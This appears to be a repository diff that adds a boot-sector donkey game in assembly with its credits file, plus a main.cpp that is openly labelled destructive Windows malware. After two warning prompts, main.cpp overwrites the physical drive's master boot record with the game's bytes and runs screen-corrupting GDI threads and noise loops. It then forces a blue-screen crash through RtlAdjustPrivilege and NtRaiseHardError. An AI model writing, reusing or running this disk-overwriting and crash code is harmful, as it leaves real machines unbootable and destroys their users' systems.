+ mov cl, 38 ;# of animation "frames"
114
+ explode:
115
+ push cx
116
+ mov cl, 4 ;draw 4 rows
117
+ call drawass ;reuse donkey code w/ explosion 'data'
118
+ call sound
119
+ sub si,37 ;odd number for more varied explosion
120
+ pop cx
121
+ loop explode ;next iteration
122
+ cmp bp, 3A00h ;did donkey win?
123
+ jl newturn ;nope, start over
124
+ stc ;yep, donkey victory
125
+ jmp endgame
126
+
127
+ no_hit:
128
+ jmp go_on ;advance donkey & check keypress
129
+ switch:
130
+ xor dh, 034h ;non-esc pressed? switch lanes
131
+
132
+ tests:
133
+ cmp bl, 32 ;donkey gone?
134
+ jne newstep ;- nope, continue
135
+ dec dx ;- yep, move car up
136
+ cmp dl, 7 ;did player score?
137
+ jg newass ;- not yet, spawn new donkey
138
+ inc bp ;- yes - player scored
139
+ xchg ax,bp
140
+ cmp al,3Ah ;did player win?
141
+ xchg ax,bp
142
+ jl newturn ;nope, start over
143
+ clc ;yep, player victory
144
+
145
+ endgame:
146
+ mov si, text+6 ;prepare victor announcement
147
+ mov dx,0305h ;cursor pos for donkey
148
+ jc youlost
149
+ mov dl,30 ;cursor pos for player
150
+ youlost:
151
+ xor bx,bx ;int 10h needs you baby
152
+ stc
153
+ call wrtword ;print them;CF set = print 2 words
154
+ xor ax,ax ;wait for keypress
155
+ int 16h
156
+ die:
157
+ IF COM
158
+ mov ax,3
159
+ int 10h
160
+ int 20h ;can't RET, stack is soiled
161
+ ELSE
162
+ jmp 0:start ;be kind, rewind
163
+ END IF
164
+
165
+ ;-------------------------------------------------------
166
+ go_on:
167
+ inc bx ;advance donkey
168
+ mov ah,1 ;check for keypress
169
+ int 16h
170
+ jz tests ;nothing pressed
171
+ xor ah, ah ;clear buffer
172
+ int 16h
173
+ cmp al,1Bh ;ESC pressed?
174
+ je die ;quit (DOS) or restart (booter)
175
+ jmp switch ;THERE IS NO ESCAPE!
176
+
177
+ ;draw sprites:
178
+ drawcar:
179
+ mov si, sprites
180
+ mov cl,2 ;2 rows
181
+ drawass:
182
+ mov al,dh ;X-pos
183
+ cbw ;AH:=0
184
+ xchg di,ax ;di = num_cols
185
+ mov al,80
186
+ imul dl ;ax= num_rows*80 bytes/row
187
+ add di,ax ;di: = screen position for drawing
188
+ drawlin:
189
+ times 5 movsw ;1b shorter than messing with CX
190
+ add di,70 ;next line
191
+ loop drawlin
192
+ ret
193
+
194
+ ;draw road:
195
+ drwroad:
196
+ mov cl,26 ;25 rows + one for the road
197
+ mov di,cx ;starting screen position
198
+ mov ax,74DFh ;char:= upper half block, grey/red
199
+ test bl,1 ;odd step? (test by donkey's y_pos)
200
+ jnz roadrow ;yep, keep this char
201
+ mov al,0DCh ;nope, change to lower half block
202
+ roadrow:
203
+ stosw ;left edge
204
+ push cx
205
+ stc ;for shorter loop
206
+ drwlane:
207
+ mov ah,0 ;attr:= invisible
208
+ mov cl,5 ;lane width
209
+ rep stosw
210
+ jnc nextrow ;will only be taken the 2nd time
211
+ mov ah,0Fh ;attr:= white on black
212
+ stosw
213
+ cmc
214
+ jmp drwlane
215
+ nextrow:
216
+ mov ah,74h
217
+ stosw ;right edge
218
+ add di,54 ;next row
219
+ pop cx
220
+ loop roadrow
221
+ ;ret = C3h = 1st byte of sprite data below
222
+
223
+ ;data:
224
+ sprites:
225
+ db 0C3h,000h,0DEh,004h,07Ch,04Eh,0DDh,004h,020h,007h ;car/2
226
+ db 0B2h,008h,0C1h,00Ch,01Eh,04Bh,0C1h,00Ch,0B2h,008h
227
+ db 020h,007h,020h,007h,020h,007h,020h,007h,020h,007h ;donkey
228
+ db 020h,000h,020h,000h,05Ch,007h,0DCh,007h,02Fh,007h
229
+ db 0FBh,007h,0DBh,007h,07Eh,070h,022h,074h,040h,007h
230
+ db 020h,007h,0B3h,070h,020h,008h,0B3h,070h,020h,008h
231
+ text:
232
+ db 'SSAUOYNOW'
233
+
234
+ ;print text/hide cursor
235
+ wrtword:
236
+ mov ah,2 ;no lahf.. compatibility
237
+ int 10h ;set cursor position;bh (active page)=0
238
+ mov cl,3 ;loop x3
239
+ chrloop:
240
+ lodsb ;load char into AL
241
+ mov ah, 0Ah ;bios - write char
242
+ int 10h
243
+ loop chrloop
244
+ mov dl,30 ;new column
245
+ cmc ;do x2
246
+ jc wrtword
247
+ mov dx,1A0Fh ;row 26, col 15
248
+ mov ah,2
249
+ int 10h ;hide cursor;AH=already 2
250
+ ret
251
+
252
+ ;print scores
253
+ showpts:
254
+ xchg bp, ax ;get them
255
+ mov di, 0FCh
256
+ xchg ah, al ;donkey first..
257
+ stosb
258
+ add di, 49
259
+ xchg al, ah ;driver second
260
+ stosb
261
+ xchg bp, ax ;put them back
262
+ ret
263
+
264
+ ;play sound, based on current sprite's Y-position
265
+ sound:
266
+ push dx ;save positions
267
+ mov al,0b6h ;command byte
268
+ out 43h,al ;tell timer 2 to expect value
269
+
270
+ ;change pitch
271
+ mov al,dl
272
+ out 42h,al ;low counter byte
273
+ shr al,1
274
+ out 42h,al ;hi counter byte
275
+
276
+ ;speaker on:
277
+ in al,61h ;read current value
278
+ or al,3 ;turn speaker on
279
+ out 61h,al
280
+
281
+ ;tiny wait:
282
+ mov dh,09h ;dl is insignificant
283
+ call readpit ;ax:=current counter
284
+ sub ax,dx ;ax:=counter target
285
+ xchg ax,dx ;dx:=counter target
286
+ waitloop:
287
+ call readpit ;ax:=current counter
288
+ cmp ax,dx ;reached target? ; add carry check?
289
+ jg waitloop ;nope, try again
290
+
291
+ ;speaker off:
292
+ in al,61h ;read current value
293
+ and al,252 ;turn speaker off
294
+ out 61h,al
295
+ call wait_vs ;wait for retrace for nice effect
296
+ pop dx ;get positions back
297
+ ret
298
+
299
+ readpit:
300
+ xor ax,ax ;command byte
301
+ out 43h,al ;latch counter for channel 0 (system time)
302
+ in al,40h ;al:=low counter byte
303
+ xchg ah, al ;ah:=low counter byte
304
+ in al,40h ;al:=hi counter byte
305
+ xchg ah, al
306
+ ret
307
+
308
+ wait_vs:
309
+ mov dx,03DAh
310
+ wax_on:
311
+ in al,dx
312
+ test al,8
313
+ jz wax_on
314
+ wax_off:
315
+ in al,dx
316
+ test al,8
317
+ jnz wax_off
318
+ ret
319
+
320
+ IF ~COM
321
+ times 510-($-$$) db 0 ;pad to sector size
322
+ dw 0AA55h ;magic marker
323
+ END IF
src/J100758.264-211529.207-main/SORRYASS.NFO ADDED
@@ -0,0 +1,45 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ .- Happy 35th birthday, IBM PC! -.
2
+
3
+ `�'
4
+ ���� �����"
5
+ ,�۲�� `�' �����
6
+ ��� ��� ��� ��� � � �����۱ ���ܲ .� ��� ���
7
+ Ȫ� � � �' �' Ȫ� ߱ ۲� ,� �� �� ��� Ȫ� Ȫ�
8
+  �  � �`� �`�  � `�' �۲������|�� �� � �  �  �
9
+ � | � � � ] � | � | "�����|߰����" `�' � � � | � |
10
+ �� �� � � : ! �� `�' ����߲����� ; � �� ��
11
+ ���������۱ -V
12
+ � �� �� �� �� �� �� �� �� � ���������� � �� �� �� �� �� �� ��
13
+ �� ��� ��� ��� ��� ��� ��� ��� ��� ��������" �� ��� ��� ��� ��� ��� ��� ���
14
+ �� �� �� �� �� �� �� �� � �� ���������� � �� �� �� �� �� �� �
15
+ ��� ��� ��� ��� ��� ��� ��� ��� � �� ������۲� ���� ��� ��� ��� ��� ��� ��� �
16
+ � �� �� �� �� �� �� �� �� ������������۱ �� �� �� �� �� �� ��
17
+ �� ��� ��� ��� ��� ��� ��� ��� ��� ���������۲� � ��� ��� ��� ��� ��� ��� ���
18
+ ������߲�
19
+ �� �� �
20
+ ��������� Sorry Ass, by VileR �� ������� ������� 08/2016 ���������
21
+ � : : �
22
+ � � ...a tiny tribute for the IBM PC's 35th anniversary... � �
23
+ � � revisiting Bill Gates' uncontested gaming � �
24
+ � � milestone from PC-DOS 1.0: DONKEY.BAS � �
25
+ � � � �
26
+ � � now in a boot sector near you! � �
27
+ � � :: CGA+/8088+/PCspeaker :: � �
28
+ � ����������������������������������������������������������������Ĵ �
29
+ � � This 512-byte game should run on most x86 PCS, all the � �
30
+ � � way back to the original IBM 5150. A smaller .COM � �
31
+ � � version is available for DOS. � �
32
+ � � � �
33
+ � � The 360KB disk image can be optionally padded to your � �
34
+ � � favorite standard floppy size, written to disk, or � �
35
+ � � loaded in DOSBox ("boot sorryass.ima")/PCEm/etc. � �
36
+ � ����������������������������������������������������������������Ĵ �
37
+ � � - ESC to exit (DOS) or restart (boot version) - � �
38
+ � � - any other key to switch lanes - � �
39
+ � ����������������������������������������������������������������Ĵ �
40
+ � � Greets/thanks: hargle, HellMood, qkumba, � �
41
+ � � reenigne, ripsaw8080, Scali, Trixter � �
42
+ � � � �
43
+ � : http://int10h.org : �
44
+ � � � �
45
+ � �
src/J100758.264-211529.207-main/main.cpp ADDED
@@ -0,0 +1,309 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h>
2
+ #define _USE_MATH_DEFINES 1
3
+ #include <cmath>
4
+ #define RGBBRUSH (DWORD)0x1900ac010e
5
+ #include <intrin.h>
6
+ #pragma comment(lib, "winmm.lib")
7
+ #pragma comment(lib, "ntdll.lib")
8
+ #pragma comment(lib, "kernel32.lib")
9
+ //externing rtladjustprivilege
10
+ EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
11
+ //externing ntraiseharderror
12
+ EXTERN_C NTSTATUS NTAPI NtRaiseHardError(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask, PULONG_PTR Parameters, ULONG ValidRespnseOption, PULONG Response);
13
+
14
+ const unsigned char MasterBootRecord[] = {0xEB, 0x00, 0xEA, 0x07, 0x7C, 0x00, 0x00, 0xF8, 0xFC, 0x0E, 0x17, 0x0E, 0x1F, 0x31, 0xC0, 0x31,
15
+ 0xDB, 0xB9, 0xFF, 0x00, 0xBE, 0x07, 0x7C, 0xBC, 0xFE, 0xFF, 0x89, 0xE7, 0x40, 0xCD, 0x10, 0xB8,
16
+ 0x00, 0xB8, 0x8E, 0xC0, 0x91, 0xB4, 0x2E, 0xF3, 0xAB, 0x56, 0xBE, 0x5C, 0x7D, 0xBA, 0x05, 0x01,
17
+ 0xE8, 0x32, 0x01, 0x91, 0xCD, 0x1A, 0x52, 0xBD, 0x30, 0x30, 0xBA, 0x11, 0x1C, 0xBB, 0x00, 0x1C,
18
+ 0x59, 0x5E, 0xAD, 0x01, 0xC8, 0x7A, 0x02, 0xB7, 0x28, 0x56, 0x50, 0x31, 0xC9, 0xE8, 0x2F, 0x01,
19
+ 0xE8, 0xA5, 0x00, 0x42, 0x42, 0xE8, 0x86, 0x00, 0x4A, 0x4A, 0xE8, 0x81, 0x00, 0x87, 0xDA, 0xB1,
20
+ 0x04, 0xE8, 0x7F, 0x00, 0xE8, 0x27, 0x01, 0x87, 0xDA, 0xF4, 0x38, 0xF7, 0x75, 0x2E, 0x52, 0x28,
21
+ 0xDA, 0xF6, 0xDA, 0x78, 0xFC, 0x80, 0xFA, 0x03, 0x5A, 0x7F, 0x21, 0xBE, 0x07, 0x7C, 0x81, 0xC5,
22
+ 0x00, 0x01, 0xB1, 0x26, 0x51, 0xB1, 0x04, 0xE8, 0x59, 0x00, 0xE8, 0x01, 0x01, 0x83, 0xEE, 0x25,
23
+ 0x59, 0xE2, 0xF1, 0x81, 0xFD, 0x00, 0x3A, 0x7C, 0xA1, 0xF9, 0xEB, 0x18, 0xEB, 0x2F, 0x80, 0xF6,
24
+ 0x34, 0x80, 0xFB, 0x20, 0x75, 0xAA, 0x4A, 0x80, 0xFA, 0x07, 0x7F, 0x91, 0x45, 0x95, 0x3C, 0x3A,
25
+ 0x95, 0x7C, 0x87, 0xF8, 0xBE, 0x62, 0x7D, 0xBA, 0x05, 0x03, 0x72, 0x02, 0xB2, 0x1E, 0x31, 0xDB,
26
+ 0xF9, 0xE8, 0xA1, 0x00, 0x31, 0xC0, 0xCD, 0x16, 0xEA, 0x07, 0x7C, 0x00, 0x00, 0x43, 0xB4, 0x01,
27
+ 0xCD, 0x16, 0x74, 0xCD, 0x30, 0xE4, 0xCD, 0x16, 0x3C, 0x1B, 0x74, 0xEC, 0xEB, 0xC0, 0xBE, 0x20,
28
+ 0x7D, 0xB1, 0x02, 0x88, 0xF0, 0x98, 0x97, 0xB0, 0x50, 0xF6, 0xEA, 0x01, 0xC7, 0xA5, 0xA5, 0xA5,
29
+ 0xA5, 0xA5, 0x83, 0xC7, 0x46, 0xE2, 0xF6, 0xC3, 0xB1, 0x1A, 0x89, 0xCF, 0xB8, 0xDF, 0x74, 0xF6,
30
+ 0xC3, 0x01, 0x75, 0x02, 0xB0, 0xDC, 0xAB, 0x51, 0xF9, 0xB4, 0x00, 0xB1, 0x05, 0xF3, 0xAB, 0x73,
31
+ 0x06, 0xB4, 0x0F, 0xAB, 0xF5, 0xEB, 0xF2, 0xB4, 0x74, 0xAB, 0x83, 0xC7, 0x36, 0x59, 0xE2, 0xE6,
32
+ 0xC3, 0x00, 0xDE, 0x04, 0x7C, 0x4E, 0xDD, 0x04, 0x20, 0x07, 0xB2, 0x08, 0xC1, 0x0C, 0x1E, 0x4B,
33
+ 0xC1, 0x0C, 0xB2, 0x08, 0x20, 0x07, 0x20, 0x07, 0x20, 0x07, 0x20, 0x07, 0x20, 0x07, 0x20, 0x00,
34
+ 0x20, 0x00, 0x5C, 0x07, 0xDC, 0x07, 0x2F, 0x07, 0xFB, 0x07, 0xDB, 0x07, 0x7E, 0x70, 0x22, 0x74,
35
+ 0x40, 0x07, 0x20, 0x07, 0xB3, 0x70, 0x20, 0x08, 0xB3, 0x70, 0x20, 0x08, 0x53, 0x53, 0x41, 0x55,
36
+ 0x4F, 0x59, 0x4E, 0x4F, 0x57, 0xB4, 0x02, 0xCD, 0x10, 0xB1, 0x03, 0xAC, 0xB4, 0x0A, 0xCD, 0x10,
37
+ 0xE2, 0xF9, 0xB2, 0x1E, 0xF5, 0x72, 0xEE, 0xBA, 0x0F, 0x1A, 0xB4, 0x02, 0xCD, 0x10, 0xC3, 0x95,
38
+ 0xBF, 0xFC, 0x00, 0x86, 0xE0, 0xAA, 0x83, 0xC7, 0x31, 0x86, 0xC4, 0xAA, 0x95, 0xC3, 0x52, 0xB0,
39
+ 0xB6, 0xE6, 0x43, 0x88, 0xD0, 0xE6, 0x42, 0xD0, 0xE8, 0xE6, 0x42, 0xE4, 0x61, 0x0C, 0x03, 0xE6,
40
+ 0x61, 0xB6, 0x09, 0xE8, 0x15, 0x00, 0x29, 0xD0, 0x92, 0xE8, 0x0F, 0x00, 0x39, 0xD0, 0x7F, 0xF9,
41
+ 0xE4, 0x61, 0x24, 0xFC, 0xE6, 0x61, 0xE8, 0x0F, 0x00, 0x5A, 0xC3, 0x31, 0xC0, 0xE6, 0x43, 0xE4,
42
+ 0x40, 0x86, 0xE0, 0xE4, 0x40, 0x86, 0xE0, 0xC3, 0xBA, 0xDA, 0x03, 0xEC, 0xA8, 0x08, 0x74, 0xFB,
43
+ 0xEC, 0xA8, 0x08, 0x75, 0xFB, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
44
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
45
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
46
+ };
47
+
48
+ DWORD xs;
49
+ VOID SeedXorshift32(DWORD dwSeed) {
50
+ xs = dwSeed;
51
+ }
52
+ DWORD xorshift32() {
53
+ xs ^= xs << 13;
54
+ xs ^= xs << 17;
55
+ xs ^= xs << 5;
56
+ return xs;
57
+ }
58
+ void mbr()
59
+ {
60
+ DWORD dwBytesWritten;
61
+ HANDLE hDevice = CreateFileW(
62
+ L"\\\\.\\PhysicalDrive0", GENERIC_ALL,
63
+ FILE_SHARE_READ | FILE_SHARE_WRITE, 0,
64
+ OPEN_EXISTING, 0, 0);
65
+ WriteFile(hDevice, MasterBootRecord, 512, &dwBytesWritten, 0);
66
+ CloseHandle(hDevice);
67
+ }
68
+ DWORD WINAPI RGB2(LPVOID lpParam)
69
+ {
70
+ HWND v3;
71
+ HBITMAP h;
72
+ HDC hdcSrc;
73
+ HDC hdc;
74
+ void* lpvBits;
75
+ int nHeight;
76
+ int nWidth;
77
+ DWORD v12;
78
+ int j;
79
+ int v14;
80
+ int i;
81
+ v12 = GetTickCount();
82
+ nWidth = GetSystemMetrics(0);
83
+ nHeight = GetSystemMetrics(1);
84
+ lpvBits = VirtualAlloc(0, 4 * nWidth * (nHeight + 1), 0x3000u, 4u);
85
+ for (i = 0; ; i = (i + 1) % 2)
86
+ {
87
+ hdc = GetDC(0);
88
+ hdcSrc = CreateCompatibleDC(hdc);
89
+ h = CreateBitmap(nWidth, nHeight, 1u, 0x20u, lpvBits);
90
+ SelectObject(hdcSrc, h);
91
+ BitBlt(hdcSrc, 0, 0, nWidth, nHeight, hdc, 0, 0, 0xCC0020u);
92
+ GetBitmapBits(h, 4 * nHeight * nWidth, lpvBits);
93
+ v14 = 0;
94
+ if (GetTickCount() - v12 > 0xA)
95
+ rand();
96
+ for (j = 0; nHeight * nWidth > j; ++j)
97
+ {
98
+ if (!(j % nHeight) && !(rand() % 110))
99
+ v14 = rand() % 24;
100
+ *((BYTE*)lpvBits + 4 * j + v14) -= 5;
101
+ }
102
+ SetBitmapBits(h, 4 * nHeight * nWidth, lpvBits);
103
+ BitBlt(hdc, 0, 0, nWidth, nHeight, hdcSrc, 0, 0, 0xCC0020u);
104
+ DeleteObject(h);
105
+ DeleteObject(hdcSrc);
106
+ DeleteObject(hdc);
107
+ }
108
+ }
109
+ DWORD WINAPI payload2(LPVOID lpParam) {
110
+ HDC desk = GetDC(0);
111
+ int sw = GetSystemMetrics(0), sh = GetSystemMetrics(1);
112
+ while (1) {
113
+ SeedXorshift32(__rdtsc());
114
+ desk = GetDC(0);
115
+ SelectObject(desk, CreateHatchBrush(xorshift32() % 7, RGB(xorshift32() % 255, xorshift32() % 255, xorshift32() % 255)));
116
+ Ellipse(desk, xorshift32() % sw, xorshift32() % sh, xorshift32() % sw, xorshift32() % sh);
117
+ Rectangle(desk, xorshift32() % sw, xorshift32() % sh, xorshift32() % sw, xorshift32() % sh);
118
+ Sleep(20);
119
+ }
120
+ }
121
+ VOID WINAPI ci(int x, int y, int w, int h)
122
+ {
123
+ HDC hdc = GetDC(0);
124
+ HRGN hrgn = CreateEllipticRgn(x, y, w+x, h+y);
125
+ SelectClipRgn(hdc, hrgn);
126
+ BitBlt(hdc, x, y, w, h, hdc, x, y, NOTSRCCOPY);
127
+ DeleteObject(hrgn);
128
+ ReleaseDC(NULL, hdc);
129
+ }
130
+ DWORD WINAPI payload3(LPVOID lpParam) {
131
+ HDC desk = GetDC(0);
132
+ int sw = GetSystemMetrics(0), sh = GetSystemMetrics(1);
133
+ int rx;
134
+ for (int i = 0;; i++) {
135
+ SeedXorshift32(__rdtsc());
136
+ desk = GetDC(0);
137
+ rx = xorshift32() % sw;
138
+ int ry = xorshift32() % sh;
139
+ SelectObject(desk, CreateSolidBrush(RGB(xorshift32() % 255, xorshift32() % 255, xorshift32() % 255)));
140
+ BitBlt(desk, rx, 10, 100, sh, desk, rx, 0, RGBBRUSH);
141
+ BitBlt(desk, rx, -10, -100, sh, desk, rx, 0, RGBBRUSH);
142
+ BitBlt(desk, 10, ry, sw, 96, desk, 0, ry, RGBBRUSH);
143
+ BitBlt(desk, -10, ry, sw, -96, desk, 0, ry, RGBBRUSH);
144
+ Sleep(1);
145
+ }
146
+ }
147
+ DWORD WINAPI wef(LPVOID lpParam) {
148
+ RECT rect;
149
+ GetWindowRect(GetDesktopWindow(), &rect);
150
+ int w = rect.right - rect.left - 500, h = rect.bottom - rect.top - 500;
151
+
152
+ for (int t = 0;; t++)
153
+ {
154
+ const int size = 1000;
155
+ int x = rand()%(w+size)-size/2, y = rand()%(h+size)-size/2;
156
+
157
+ for (int i = 0; i < size; i+=100)
158
+ {
159
+ ci(x-i/2, y-i/2, i, i);
160
+ Sleep(25);
161
+ }
162
+ }
163
+ }
164
+ DWORD WINAPI textout(LPVOID lpParam)
165
+ {
166
+ HDC hdc;
167
+ int sx = 0, sy = 0;
168
+ LPCWSTR lpText = L"J100758.264+211529.207";
169
+ while(1)
170
+ {
171
+ hdc = GetWindowDC(GetDesktopWindow());
172
+ sx = GetSystemMetrics(0);
173
+ sy = GetSystemMetrics(1);
174
+ TextOutW(hdc, rand() % sx, rand() % sy, lpText, wcslen(lpText));
175
+ Sleep(10);
176
+ }
177
+ }
178
+ DWORD WINAPI payload6(LPVOID lpParam)
179
+ {
180
+ while (1) {
181
+ HDC hdc = GetDC(0);
182
+ int x = SM_CXSCREEN;
183
+ int y = SM_CYSCREEN;
184
+ int w = GetSystemMetrics(0);
185
+ int h = GetSystemMetrics(1);
186
+ BitBlt(hdc, rand() % 222, rand() % 222, w, h, hdc, rand() % 222, rand() % 222, NOTSRCERASE);
187
+ Sleep(10);
188
+ }
189
+ }
190
+ VOID WINAPI sound1() {
191
+ HWAVEOUT hWaveOut = 0;
192
+ WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
193
+ waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
194
+ char buffer[32000 * 30] = {};
195
+ for (DWORD t = 0; t < sizeof(buffer); ++t)
196
+ buffer[t] = static_cast<char>(t*(t>>9|t>>13));
197
+
198
+ WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
199
+ waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
200
+ waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
201
+ waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
202
+ waveOutClose(hWaveOut);
203
+ }
204
+ VOID WINAPI sound2() {
205
+ HWAVEOUT hWaveOut = 0;
206
+ WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
207
+ waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
208
+ char buffer[32000 * 30] = {};
209
+ for (DWORD t = 0; t < sizeof(buffer); ++t)
210
+ buffer[t] = static_cast<char>((t<<1)^((t<<1)+(t>>7)&t>>12))|t>>(4-(1^7&(t>>19)))|t>>7;
211
+
212
+ WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
213
+ waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
214
+ waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
215
+ waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
216
+ waveOutClose(hWaveOut);
217
+ }
218
+ VOID WINAPI sound3() {
219
+ HWAVEOUT hWaveOut = 0;
220
+ WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
221
+ waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
222
+ char buffer[32000 * 30] = {};
223
+ for (DWORD t = 0; t < sizeof(buffer); ++t)
224
+ buffer[t] = static_cast<char>(t*t>>(t/512));
225
+
226
+ WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
227
+ waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
228
+ waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
229
+ waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
230
+ waveOutClose(hWaveOut);
231
+ }
232
+ VOID WINAPI sound4() {
233
+ HWAVEOUT hWaveOut = 0;
234
+ WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
235
+ waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
236
+ char buffer[32000 * 30] = {};
237
+ for (DWORD t = 0; t < sizeof(buffer); ++t)
238
+ buffer[t] = static_cast<char>(t*t<<t);
239
+
240
+ WAVEHDR header = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
241
+ waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
242
+ waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
243
+ waveOutUnprepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
244
+ waveOutClose(hWaveOut);
245
+ }
246
+
247
+ int main(){
248
+ if (MessageBoxW(NULL, L"The software you just executed is considered malware.\r\n\
249
+ This malware will harm your computer and makes it unusable.\r\n\
250
+ If you are seeing this message without knowing what you just executed, simply press No and nothing will happen.\r\n\
251
+ If you know what this malware does and are using a safe environment to test, \
252
+ press Yes to start it.\r\n\r\n\
253
+ DO YOU WANT TO EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?", L"J100758.264+211529.207", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
254
+ {
255
+ ExitProcess(0);
256
+ }
257
+ else
258
+ {
259
+ if (MessageBoxW(NULL, L"THIS IS THE LAST WARNING!\r\n\r\n\
260
+ THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!\r\n\
261
+ STILL EXECUTE IT?", L"J100758.264+211529.207", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
262
+ {
263
+ ExitProcess(0);
264
+ }
265
+ else
266
+ {
267
+ mbr();
268
+ HANDLE thread1 = CreateThread(0, 0, RGB2, 0, 0, 0);
269
+ sound1();
270
+ Sleep(30000);
271
+ TerminateThread(thread1, 0);
272
+ CloseHandle(thread1);
273
+ InvalidateRect(0, 0, 0);
274
+ Sleep(1000);
275
+ HANDLE thread2 = CreateThread(0, 0, payload2, 0, 0, 0);
276
+ HANDLE thread3 = CreateThread(0, 0, wef, 0, 0, 0);
277
+ sound2();
278
+ Sleep(30000);
279
+ TerminateThread(thread2, 0);
280
+ CloseHandle(thread2);
281
+ InvalidateRect(0, 0, 0);
282
+ TerminateThread(thread3, 0);
283
+ CloseHandle(thread3);
284
+ InvalidateRect(0, 0, 0);
285
+ Sleep(1000);
286
+ HANDLE thread4 = CreateThread(0, 0, payload3, 0, 0, 0);
287
+ sound3();
288
+ Sleep(30000);
289
+ TerminateThread(thread4, 0);
290
+ CloseHandle(thread4);
291
+ InvalidateRect(0, 0, 0);
292
+ Sleep(2000);
293
+ HANDLE thread5 = CreateThread(0, 0, textout, 0, 0, 0);
294
+ HANDLE thread6 = CreateThread(0, 0, payload6, 0, 0, 0);
295
+ HANDLE thread7 = CreateThread(0, 0, wef, 0, 0, 0);
296
+ sound4();
297
+ Sleep(30000);
298
+ //boolean
299
+ BOOLEAN b;
300
+ //bsod response
301
+ unsigned long response;
302
+ //process privilege
303
+ RtlAdjustPrivilege(19, true, false, &b);
304
+ //call bsod
305
+ NtRaiseHardError(0xC0000069, 0, 0, 0, 6, &response);
306
+ Sleep(-1);
307
+ }
308
+ }
309
+ }
src/J100758.264-211529.207-main/readme.txt ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ██╗ ██╗ ██████╗ ██████╗ ███████╗███████╗ █████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██████╗ █████╗ ██████╗ ██████╗ ███████╗
2
+ ██║███║██╔═████╗██╔═████╗╚════██║██╔════╝██╔══██╗ ╚════██╗██╔════╝ ██║ ██║╚════██╗███║███║██╔════╝╚════██╗██╔══██╗ ╚════██╗██╔═████╗╚════██║
3
+ ██║╚██║██║██╔██║██║██╔██║ ██╔╝███████╗╚█████╔╝ █████╔╝███████╗ ███████║ █████╔╝╚██║╚██║███████╗ █████╔╝╚██████║ █████╔╝██║██╔██║ ██╔╝
4
+ ██ ██║ ██║████╔╝██║████╔╝██║ ██╔╝ ╚════██║██╔══██╗ ██╔═══╝ ██╔═══██╗╚════██║██╔═══╝ ██║ ██║╚════██║██╔═══╝ ╚═══██║ ██╔═══╝ ████╔╝██║ ██╔╝
5
